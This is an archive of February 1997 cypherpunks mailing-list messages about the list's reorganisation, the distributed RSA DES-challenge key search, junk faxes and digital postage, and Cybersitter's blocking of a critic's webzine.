> I'm surprised if more people don't jump on it.  Then again, they
> took their good ol' time jumping onto cypherpunks-unedited.

I think that the ideas of a distributed list and the idea of 
alt.cypherpunks are both good and these two mediums complement 
each other.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Sat, 15 Feb 1997 13:56:16 -0800 (PST)
To: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Subject: Re: RRE: Cybersitter
Message-ID: <199702152156.NAA07499@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 07:15 PM 2/14/97 EDT, E. Allen Smith wrote:
>From:	IN%"rre@weber.ucsd.edu" 14-FEB-1997 05:21:41.54
>To:	IN%"rre@weber.ucsd.edu"
>CC:	
>Subj:	Cybersitter
>
>[Forwarded with permission.]
>
[snip]
>Wallace says Solid Oak responded by adding his Webzine to its block
>list. Learning of this, Wallace wrote Milburn and Solid Oak tech
>support.
>
>"I pointed out that _The Spectacle_ does not fit any of their published
>criteria for blocking a site," he says. "I received mail in return
>demanding that I cease writing to them and calling my mail 'harassment'
>-- with a copy to the postmaster at my ISP."
>
>Kanter acknowledges this. "He spoke to us more than once or twice -- he
>continued to send mail -- mail like that is considered 'not wanted' and
>is automatically sent back."

Kanter has sent mail like this on a first message.  I friend of mine who
writes for a local computer magazine (Computer Bits) wrote to Solid Oak with
a critical letter and got the same treatment.  Nothing addressing any of the
criticisms about the software or the company, just a nasty-gram to him and
his postmaster.


-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAwUBMwYhcOQCP3v30CeZAQE0zwf/QH6PaErjf7osoEvTd2rbRMFkO//tacAi
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=kkJ3
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Frank J. Egan" <fjegan@airmail.net>
Date: Sat, 15 Feb 1997 13:41:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: FYI
Message-ID: <199702152141.NAA06903@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


This was posted to a financial information site on Friday:

OPEN MARKET INC (OMKT)  Yesterday, stock was given a modest lift from news
that company received approval from the Department of Commerce to export its
Internet-commerce software with a very strong version of encryption
software, becoming one of the first companies allowed to do so without first
agreeing to go along with a controversial White House requirement.

Frank
*********************************
**********Frank J. Egan**********
*Chance Favors The Prepared Mind*
*********************************






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Perry E. Metzger" <perry@piermont.com>
Date: Sat, 15 Feb 1997 11:12:35 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Cypherpunks Forums FAQ (life after toad.com)
Message-ID: <199702151912.LAA01373@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



BTW, for those of you who haven't tried it, cryptography@c2.net, which
I run and moderate, has been pretty successful thus far in providing a
low noise high quality area for discussing cryptography and
cryptography related political issues. I invite people to join. To get
on, simply send a message to majordomo@c2.net with the words 
subscribe cryptography
in the body.

Perry

Adam Back writes:
> 
> There has been some discussion as to which list one should subscribe to
> once cypherpunks@toad.com is dead (which I would remind you is 4 days from
> now -- 19th Feb).
> 
> For those not paying attention, I have collated information about
> cypherpunks forums for your information:





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 15 Feb 1997 17:11:56 -0800 (PST)
To: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Subject: Re: Fuck UseNet (fwd)
Message-ID: <199702160111.RAA14527@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


E. Allen Smith allegedly said:
> 
> From:	IN%"ravage@EINSTEIN.ssz.com"  "Jim Choate" 15-FEB-1997 07:11:54.43
> 
> >Perhaps in addition to the X-foo structures we have discussed already we
> >might consider adding,
> 
> >X-distrib-policy: foo
> 
> >Where foo might be,
> 
> >         Public Domain
> >         All rights reserved, contact author for redistribution
> >         Distribution for non-commercial uses permitted
> >         Refer to authors header
> >         Copyleft
> >         etc.
> 
> >or whatever the policy might be for a given remailer. This would
> >significantly aid folks in their shopping around.
> 
> 	The basic difficulty with this idea is that _senders_ generally
> don't have much of a choice where the messages go, once you've decided
> to accept them. In other words, just because you've decided to accept
> a message doesn't mean it suddenly becomes
> copyleft/public domain/whatever. Now, if you, say, announced that only
> subscribers to your particular list, subscribers to any other lists
> adopting the same idea, and those who'd sign a consent agreement could
> post through your list, that wouldn't be a problem... although I
> suspect you wouldn't get many subscribers.
> 	-Allen

That wouldn't be the way it work -- Jim operates one of the cp 
remailers; I operate another.  Jim has a standard policy concerning 
public domain/copyright that is different than mine.  So *I* put an 
X-distrib-policy header in all the cp mail I forward to him.  More 
precisely, all of my incoming mail for "cypherpunks@songbird.com" 
gets the header.

This protocol needs a bit of refinement, and perhaps some hacking at 
majordomo, but seems fairly straightforward.

Jim's policy is actually very reasonable.  It has a rational basis, 
though one might disagree with it, and it is easy to deal with 
it this way.  A more extreme policy -- "The operator of this mailing 
list claims an exclusive copyright on every piece of mail sent to it; 
by sending to it you agree to this policy", for example -- would be 
harder to deal with.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 15 Feb 1997 17:11:20 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702160111.RAA14459@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn allegedly said:
> 
[...]
> 
> If I understood the last several hundred messages correctly, they have
> tried to make the point that the cypherpunks mailing list (unedited)
> was more ideal than a newsgroup.  If this is what Dave is offering,
> I'm surprised if more people don't jump on it.  Then again, they
> took their good ol' time jumping onto cypherpunks-unedited.

Dave is offering a single mailing list, which, while I am sure Dave is
a great person, still represents a single point of control and a
single point of failure.  A distributed mailing list has a potential
for being much more robust, and for supporting a wide range of
viewpoints.  Furthermore a distributed mailing list is an interesting
minor technical problem, and a good solution could have wide
applicability.

So I think that people would like to get the distributed list going...

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Sat, 15 Feb 1997 17:16:39 -0800 (PST)
To: roy@scytale.com
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
Message-ID: <199702160116.RAA14699@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Roy M. Silvernail wrote:
> > Clearly, spammers who pay their readers to read their messages (and who
> > do get them to read) will have a very high response rate. That may 
> > justify adding postage to their letters.
> 
> It should also spur development of intelligent agents which can retrieve
> this cash without human intervention.  Spammers will doubtless alter
> their pages to require more interaction to find the key to the cash.
> Then the IA's will be improved.  Then... remember the copy protection
> wars?  This isn't necessarily a negative point.
> 
> > The advantages are obvious. The disadvantage is a possibility of someone
> > stealing the money on the way, if the letters are not encrypted.
> 
> Or that the money wasn't there in the first place (absent a trusted
> signature system), or the key doesn't exist, or the wrong key is
> offered, or the sender put the same e-dollar on all 60000 mails sie
> sent and it's already been redeemed.

Well, if the trusted party performs the encryption by both recipient's
public key and the "retrieval key", the problem that you mention can 
be avoided.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Sat, 15 Feb 1997 17:11:59 -0800 (PST)
To: Adam Back <cypherpunks@toad.com
Subject: Re: (fwd) DES challenge organisation
Message-ID: <199702160111.RAA14529@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:02 PM +0000 2/15/97, Adam Back wrote:
>Thomas S <ths@fh28.fa.umist.ac.uk> writes:
>> [...]
>>
>> 5. The prize money will be split equally between Gutenberg and EFF.
>>    There is a possibility of using part of it for stickers or
>>    something similar, but don't count on it.
>
>Not a good idea.
>
>How can this be enforced?  The RSADSI DES challenge is open to all
>comers, and how do you prove that someone who finds the key found it
>through this group effort?
>
>I have a suspicion many people would be tempted to fill in the RSA
>challenge form and email it in themselves.  $10,000 is a fair amount
>of money.

Once again, the advantages of an "uncoordinated search" should be
mentioned. An uncoordinated search, in which people randomly search chunks
of keyspace is obviously less efficient than a coordinated search where no
part of the space is searched two or more times.

However, an uncoordinated search is only less efficient by a small factor
of two or three, with a 95% probability that the key will be found with an
effort "only" 3 times greater than with a coordinated search. (The Poisson
probability distribution is what's involved here, and the math is fairly
easy to work out.)

A 2-4x factor is significant, and may warrant a coordinated search.
However, the various problems implicit in coordinated searches are factors,
too.

Also, an uncoordinated search solves the "prize" problem, as whomever finds
the key makes  the contact with RSADSI.

One of the problems with a coordinated search, if the remaining keyspace to
be doled out is publically announced, is that as the keyspace is searched
and a key _not_ found, the remaining keyspace is increasingly more tempting
for "independent searchers" to search. Sort of the way the odds on some
lotteries actually become "acceptable" as the lottery pot grows. The
organizer of the coordinated search must then, I surmise, keep the
assignments secret and dole out keyspace securely.

Having the prize money go to the finder of the key, as opposed to some
artificial division between EFF, Gutenberg, etc., is also an incentive for
people to contribute more CPU time.

--Tim May





>I know I would be tempted.  I have been running Svend Olaf's DES code,
>and my intention in the unlikely event that I hit the key had been to
>claim the money.
>
>How does it hurt the publicity if the actual individual who finds the
>key takes the money?  Surely it adds excitement to the story?
>
>In fact it would provide people with a possibly more powerful
>incentive to try to break the key in the first place -- in the hopes
>of winning the prize!  $10,000 means more to a lot of people than
>opposing ITAR/EAR, and participating in a technical challenge.  To
>start with a lot of people who's CPUs we could be using don't even
>know what ITAR/EAR are!
>
>> We hope to get a working system up and running ASAP. The fact alone
>> that DES is seriously challenged (with a reasonable time frame)
>> should give us quite some publicity (by the time the system is
>> ready). If we can make use of that, we will have significantly more
>> client than for the 48 bit key.
>
>I would have thought announcing that $10,000 can be won by running
>easy to use windows software on a wide selection of newsgroups would
>get you lots of CPUs!
>
>Adam
>--
>print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
>)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`


Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 15 Feb 1997 17:11:48 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: More on digital postage
Message-ID: <199702160111.RAA14498@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


jim bell allegedly said:
> 
> 
> No, you're taking the issue to ridiculous extremes.    That's why we have 
> doors, and locks, etc.  And, for that matter, "No trespassing" signs.  
> 
> But having an address, and a walkway, and a doorbell is generally considered 
> if not explicit permission, but at least toleration of the idea that 
> somebody can walk up and knock on the door, etc. 

But if someone leans on my doorbell for 4 hours solid, I can call the 
police and have them carted away.  Carried to extremes, it's criminal 
trespass. 

> Having a telephone with a 
> number that anyone can dial is going to result in some level of intrusion.  
> Having a fax machine is a similar issue, unless technology provides a way to 
> block unwanted faxes.
> 
> I certainly don't claim that we shouldn't try to do anything about these 
> limitations!  Quite the opposite, technology should be employed to protect 
> privacy.  But faxes are not fundamentally different than telephones, 
> doorbells, and walkways:  They facilitate interaction, even potentially 
> undesirable interaction.

And, just as in the case with my doorbell, when the undesirable 
interaction gets past some reasonable limit, legal action can be taken.

> >	Nope. Sure I realize that they _can_, but that doesn't make it right,
> >and it doesn't make it legal. 
> 
> "Legal" is an arbirary concept; the opposite, "illegal," is merely what some 
> bunch of brainless legislators get together and disapprove.

Arbitrary or not, it has real world consequences.  But then most 
things with real world consequences are arbitrary, unlike libertarian 
fantasies, which enjoy the luxury of unreality.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 15 Feb 1997 22:41:18 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: More on digital postage
Message-ID: <199702160641.WAA26923@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


jim bell wrote:
> At 11:40 AM 2/15/97 -0600, snow wrote:
> >Mr. Bell wrote:

> But having an address, and a walkway, and a doorbell is generally considered
> if not explicit permission, but at least toleration of the idea that
> somebody can walk up and knock on the door, etc.  Having a telephone with a
> number that anyone can dial is going to result in some level of intrusion.
> Having a fax machine is a similar issue, unless technology provides a way to
> block unwanted faxes.

There are some neato methods to deal with the door and the phone,
but I haven't investigated faxes since I don't run one at home.

For the door, you can have a locked gate so they can't knock on the
door,
and an adjustable volume ringer or phone at the gate that's easy to
ignore
when you don't want them to know you're there and you're ignoring them.
If the gate is not practical, at least put a locked screen door in
front of the regular door, and the ringer or whatever outside the
screen.
For more aggressive pests, some signs might be necessary.

For the phone, you can do like I did, and simply remove (or break)
the outgoing message tape, so when they call, all they get is a beep
and they'll have to think fast or they're cut off.  Cuts way back
on pesky calls, but allows your loyals to leave messages or speak
so you'll know who it is.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 15 Feb 1997 22:42:51 -0800 (PST)
To: John Young <jya@pipeline.com>
Subject: Re: FBI_100
Message-ID: <199702160642.WAA26983@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


John Young wrote:
> "Phone Companies Balk At Latest Plan by FBI." Markoff.
>    Telcos are arguing that the new system will be far more
>    intrusive and expensive than industry first thought, and
>    would expand LEA wiretap capabilities 100-fold. "This is
>    kind of scary. What does the FBI know about our future
>    that we don't?"
> See the FBI's latest wiretap plan at:
>    http://jya.com/fbi011497.txt

You could start by interviewing Freeh's own kids, who conspired
(according to the L.A. Times) to have the local police make a
call the other night.  According to Freeh, "I dealt with my kids
in a most un-Constitutional and autocratic manner" (quote approx.).






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 15 Feb 1997 22:43:56 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702160643.WAA27051@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin wrote:
> Dale Thorn allegedly said:
> > If I understood the last several hundred messages correctly, they have
> > tried to make the point that the cypherpunks mailing list (unedited)
> > was more ideal than a newsgroup.  If this is what Dave is offering,
> > I'm surprised if more people don't jump on it.  Then again, they
> > took their good ol' time jumping onto cypherpunks-unedited.

> Dave is offering a single mailing list, which, while I am sure Dave is
> a great person, still represents a single point of control and a
> single point of failure.  A distributed mailing list has a potential
> for being much more robust, and for supporting a wide range of
> viewpoints.  Furthermore a distributed mailing list is an interesting
> minor technical problem, and a good solution could have wide
> applicability.
> So I think that people would like to get the distributed list going...

I hope this doesn't duplicate the earlier message - if someone were
tracking all this activity and kept the lists informed about what
was available where - and particularly if the downloading could be
automatic as in the subscription lists - that would be ideal.

I wanted to spend some time on alt.cypherpunks, but I haven't got
thru the subscription mail for the last few days yet.  If there's
a scheme that works better than just ad-hoc looking, I'd sure like
to know.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <mpd@netcom.com>
Date: Sat, 15 Feb 1997 22:41:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: (fwd) DES challenge organisation
Message-ID: <199702160641.WAA26922@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back <aba@dcs.ex.ac.uk> writes:

 > How can this be enforced?  The RSADSI DES challenge is open
 > to all comers, and how do you prove that someone who finds
 > the key found it through this group effort?

 > I have a suspicion many people would be tempted to fill in
 > the RSA challenge form and email it in themselves.  $10,000
 > is a fair amount of money.

Of course they will.  If the unsearched portions of the keyspace
are published, you can just sit back until the odds go up and
then throw some CPU power at it.  There is no obligation on the
part of the individual who finds the key to not claim the prize
personally.

The issues of random keyspace assignment to protect against
sabotage and centralized monolithic server vs autonomous client
have been debated on the "muffin" list, where I have been
lurking, but the people in charge seem to like explicit keyspace
partitioning and servers a lot.

Should be an interesting effort.

By the way, does anyone know if des-challenge@muffin.org is
alive?  I haven't seen any messages from it in over a day and
majordomo is not responding to inquiries.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <mpd@netcom.com>
Date: Sat, 15 Feb 1997 22:56:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: (fwd) DES challenge organisation
Message-ID: <199702160656.WAA27608@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back <aba@dcs.ex.ac.uk> writes:

 > How can this be enforced?  The RSADSI DES challenge is open
 > to all comers, and how do you prove that someone who finds
 > the key found it through this group effort?

 > I have a suspicion many people would be tempted to fill in
 > the RSA challenge form and email it in themselves.  $10,000
 > is a fair amount of money.

Of course they will.  If the unsearched portions of the keyspace
are published, you can just sit back until the odds go up and
then throw some CPU power at it.  There is no obligation on the
part of the individual who finds the key to not claim the prize
personally.

The issues of random keyspace assignment to protect against
sabotage and centralized monolithic server vs autonomous client
have been debated on the "muffin" list, where I have been
lurking, but the people in charge seem to like explicit keyspace
partitioning and servers a lot.

Should be an interesting effort.

By the way, does anyone know if des-challenge@muffin.org is
alive?  I haven't seen any messages from it in over a day and
majordomo is not responding to inquiries.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sat, 15 Feb 1997 22:44:12 -0800 (PST)
To: snow <tcmay@got.net>
Subject: Re: More on digital postage
Message-ID: <199702160644.WAA27059@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:33 PM 2/15/97 -0600, snow wrote:
>Mr. May wrote: 
>> At 11:40 AM -0600 2/15/97, snow wrote:
>> >	That is a ridiculous argument. The door to my home is connected
>> >to the street,m and I know full well that that makes it easy for anyone
>> >to come wandering in to my home. Is it legal, just because I have my
>> >home hooked to the street, for someone to come in and help themselves to
>> >a beer out of my fridge?
>> 
>> The proper parallel is to _knocking on the door_. Talking about "unwanted
>> phone calls" or "unwanted faxes" as being equivalent to entering a house
>> and wandering around is incorrect.
>
>	With phone calls, yes. With unwanted faxes no. With Phone Calls, 
>and knocks on the door I have the option of simply not answering. Faxes
>(in certain enviroments) you can't do that with. 


That's a technlogical problem, and deserves a technological solution.

>
>> Our society fairly reasonably allows tort relief for, say, having one's
>> doorbell rung frequently or at odd hours. On the fax issue, similar tort
>> relief could be obtained if a person or business was truly "under attack."
>> (Purists, like me, would probably prefer technological solutions even in
>> these cases. Leave a phone on answering machine mode, only switch on the
>> fax mode when a fax is expected, etc.)
>
>	Or simply a societal acceptance of retaliation(sp?) Someone who
>constantly wakes you up in the middle of the night, well you just arrange
>it so they get no sleep. 

Well, I've proposed such a system before...


>> These tort actions are a far cry from proposals that anyone whose knock on
>> the door, or phonecall, or e-mail, or fax is subject to criminal
>> prosecution under proposed new laws.
>> (I think the courts are already clogged enough, and I have faith that no
>> court in the land will accept a case where no real harm was done. A friend
>> of mine got mailbombed with 25,000 e-mail messages in one day, shutting
>> down his account until the mess could be cleaned up, and it's not even
>> likely he'll ever get any relief.)
>
>	I (I think like you) feel that almost no one will get convicted
>of these "crimes" unless the attacker simply goes too far. 

Which is why my first choice is, uh, and alternative method of "justice."


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anil Das <das@razor.engr.sgi.com>
Date: Sat, 15 Feb 1997 22:41:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: DES challenge organisation
Message-ID: <199702160641.WAA26940@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Feb 15,  5:01pm, Timothy C. May wrote:
> Subject: Re: (fwd) DES challenge organisation
> However, an uncoordinated search is only less efficient by a small factor
> of two or three, with a 95% probability that the key will be found with an
> effort "only" 3 times greater than with a coordinated search. (The Poisson
> probability distribution is what's involved here, and the math is fairly
> easy to work out.)
> 
	The motivation to crack the DES challenge is more the
political one of proving DES (aka 56 bit encryption in the popular press)
insecure than the financial one of getting the $10,000 prize. To actually
get a good mesaure of the strength of DES using this approach, the number
of machines that participated in the attack and the time they spend
has to be known. This is a main reason why Germano's team prefers
the search to be co-ordinated and why they have been asking people not
to start the search before the server is ready.

> One of the problems with a coordinated search, if the remaining keyspace to
> be doled out is publically announced, is that as the keyspace is searched
> and a key _not_ found, the remaining keyspace is increasingly more tempting
> for "independent searchers" to search. Sort of the way the odds on some
> lotteries actually become "acceptable" as the lottery pot grows. The
> organizer of the coordinated search must then, I surmise, keep the
> assignments secret and dole out keyspace securely.
 
	Knowing the number of people they were able to get to participate
in the RC5 attack, this is not a significant problem. They are going to
have 5000 clients nibbling away on the not-yet-searched keyspace. Some 
Johnny-come-lately trying to muscle in on the action towards the end
is not going to make a significant dent in their chances of hitting the
correcy key first.

> Having the prize money go to the finder of the key, as opposed to some
> artificial division between EFF, Gutenberg, etc., is also an incentive for
> people to contribute more CPU time.

	Again, they didn't have a problem getting people to join in on
the RC5/32/12/6 attack. At least the same number of people can be expected
to join in for the DES attack, giving an estimated search time of around
eight months, if nobody else builds a hardware DES cracker first.

--
Anil Das





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lance Cottrell <loki@infonex.com>
Date: Sat, 15 Feb 1997 22:56:24 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Mirrors and replies-to
Message-ID: <199702160656.WAA27604@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 7:24 AM -0800 2/15/97, Robert Hettinga wrote:
<SNIP>
>However, I would like it if the mirror operators would reinstantiate a
>feature of the original list for me. The reply-to field on the mirrors is
>currently set to cypherpunks@toad.com. On the original list, this was set
>to "sender", both to keep people from replying to the list unnecessarily
>(hah! :-)) but also to keep mail loops from forming. Mail loops could be a
>big problem, especially when you guys put together your neo-netnews
>mailring. (a little jyaism, that... :-)).

After some discussion, the reply-to: cypherpunks@toad.com was a deliberate
choice. I wanted to ensure that the list at cyberpass did not become an
island. Once the main list expires, the reply-to will be changed to the
sender.

	-Lance

----------------------------------------------------------
Lance Cottrell   loki@obscura.com
PGP 2.6 key available by finger or server.
http://www.obscura.com/~loki/

"Love is a snowmobile racing across the tundra.  Suddenly
it flips over, pinning you underneath.  At night the ice
weasels come."
                        --Nietzsche
----------------------------------------------------------







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sheldon Glass <sheldon@sdsu.edu>
Date: Sat, 15 Feb 1997 22:56:02 -0800 (PST)
To: John Gilmore <gnu@toad.com>
Subject: cypherpunks@toad.com
Message-ID: <199702160656.WAA27533@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I'm a very long term lurker writing to thank you for hosting the mailing
list.  It was surprising that the list, if not the community, was as
vulnerable to twits like Vulis as it appears.  It's a valuable lesson.
When cypherpunks rise from these ashes I hope that designers of
alternatives will remember the Alamo so to speak.

--
sheldon glass             |                        Plauger's Dogma
sglass@mail.sdsu.edu      |                No program may leave its sanity
#include <std.disclaimer> |                   at the mercy of its input.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Sat, 15 Feb 1997 22:40:56 -0800 (PST)
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: Mirrors and replies-to
Message-ID: <199702160640.WAA26884@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> However, I would like it if the mirror operators would reinstantiate a
> feature of the original list for me. The reply-to field on the mirrors is
> currently set to cypherpunks@toad.com. On the original list, this was set
> to "sender", both to keep people from replying to the list unnecessarily
> (hah! :-)) but also to keep mail loops from forming. Mail loops could be a
> big problem, especially when you guys put together your neo-netnews
> mailring. (a little jyaism, that... :-)).

	As to the Mailloops: Majordomo seems (at least to me) to be 
pretty good about handling those kinds of things. If you configure it 
right. 

	I would rather have the replyto:cypherpunks as I am rather lazy, and
would like to be able to save everything in one file easily. 

	Just my $0.01.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anil Das <das@razor.engr.sgi.com>
Date: Sat, 15 Feb 1997 22:56:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Where is the reorg FAQ?
Message-ID: <199702160656.WAA27532@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I saw a reference to an FAQ by Adam Back, explaining the mailing lists
that are being set up to replace cypherpunks@toad.com, but I didn't see
the FAQ itself, on either cypherpunks-unedited or cypherpunks@toad.com, which 
I read as mail.cypherpunks. Maybe it fell through the cracks. Could Adam
or somebody else repost it? Thanks.

Btw, one of our many news servers has alt.cypherpunks, but it has very
low traffic. I doubt people are not posting. Must be alt.cypherpunks
missing from some upstream sites.

--
Anil Das





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <mpd@netcom.com>
Date: Sat, 15 Feb 1997 23:03:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Where is the reorg FAQ?
Message-ID: <199702160703.XAA27891@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Anil Das writes:

> Btw, one of our many news servers has alt.cypherpunks, but it has very
> low traffic. I doubt people are not posting. Must be alt.cypherpunks
> missing from some upstream sites.

To spam propagation islands, it might be a good idea to crosspost to
alt.privacy when posting to alt.cypherpunks.  It will probably take a week
or two before everyone who is going to create the group on their news
server gets around to it. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Sat, 15 Feb 1997 22:41:12 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: More on digital postage
Message-ID: <199702160641.WAA26908@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Mr. May wrote: 
> At 11:40 AM -0600 2/15/97, snow wrote:
> >Mr. Bell wrote:
> >> However, you connect that fax machine to a phone line, when you know full
> >> well that should it be enabled to do so, it will automatically pick up the
> >> phone when it "hears" a ring, and will print out a fax based on information
> >> provided.  It isn't clear why sending a fax is any "wronger" than mailing
> >> junk mail, or making a (voice) phone call to somebody.
> >	That is a ridiculous argument. The door to my home is connected
> >to the street,m and I know full well that that makes it easy for anyone
> >to come wandering in to my home. Is it legal, just because I have my
> >home hooked to the street, for someone to come in and help themselves to
> >a beer out of my fridge?
> 
> The proper parallel is to _knocking on the door_. Talking about "unwanted
> phone calls" or "unwanted faxes" as being equivalent to entering a house
> and wandering around is incorrect.

	With phone calls, yes. With unwanted faxes no. With Phone Calls, 
and knocks on the door I have the option of simply not answering. Faxes
(in certain enviroments) you can't do that with. 

> Our society fairly reasonably allows tort relief for, say, having one's
> doorbell rung frequently or at odd hours. On the fax issue, similar tort
> relief could be obtained if a person or business was truly "under attack."
> (Purists, like me, would probably prefer technological solutions even in
> these cases. Leave a phone on answering machine mode, only switch on the
> fax mode when a fax is expected, etc.)

	Or simply a societal acceptance of retaliation(sp?) Someone who
constantly wakes you up in the middle of the night, well you just arrange
it so they get no sleep. 

> These tort actions are a far cry from proposals that anyone whose knock on
> the door, or phonecall, or e-mail, or fax is subject to criminal
> prosecution under proposed new laws.
> (I think the courts are already clogged enough, and I have faith that no
> court in the land will accept a case where no real harm was done. A friend
> of mine got mailbombed with 25,000 e-mail messages in one day, shutting
> down his account until the mess could be cleaned up, and it's not even
> likely he'll ever get any relief.)

	I (I think like you) feel that almost no one will get convicted
of these "crimes" unless the attacker simply goes too far. 

> What CompuServe did was quite different, as CompuServe decided that some
> e-mail would not be delivered. This is essentially comparable to the Postal
> Service deciding that mail from the National Rifle Association is, to them,
> "junk," or to the phone company deciding that phone calls from Libya or
> Iraq or some other unfavored nation will be fed to a dead number.

	Not really. The US Postal service is a regulated monopoly, and 
is the only game in town. If they weren't a regulated monopoly, I wouldn't
care if they refused to carry certain peices of mail, the mailer would have 
the option of simply using a different service.

	Thus with compuserve, they have the right (as a private company)
to refuse to deliver what ever they wish. And their users have the right 
to go elsewhere. 

> Getting the courts and the regulators involved in deciding what speech is
> junk and what is not junk is unconstitutional, which was my earlier point.

	Which I argee with.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Ioannidis <ji@hol.gr>
Date: Sat, 15 Feb 1997 13:41:02 -0800 (PST)
To: pgut001@cs.auckland.ac.nz
Subject: Re: DES and RSA crypto hardware from the free world
Message-ID: <199702152141.NAA06901@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I believe uti-Maco (a belgian company) has been using the Pijnenburg chips
for their boards. However, last I checked with them (about half a year ago)
the price of the boards was pretty steep -- of the order of $1K. 

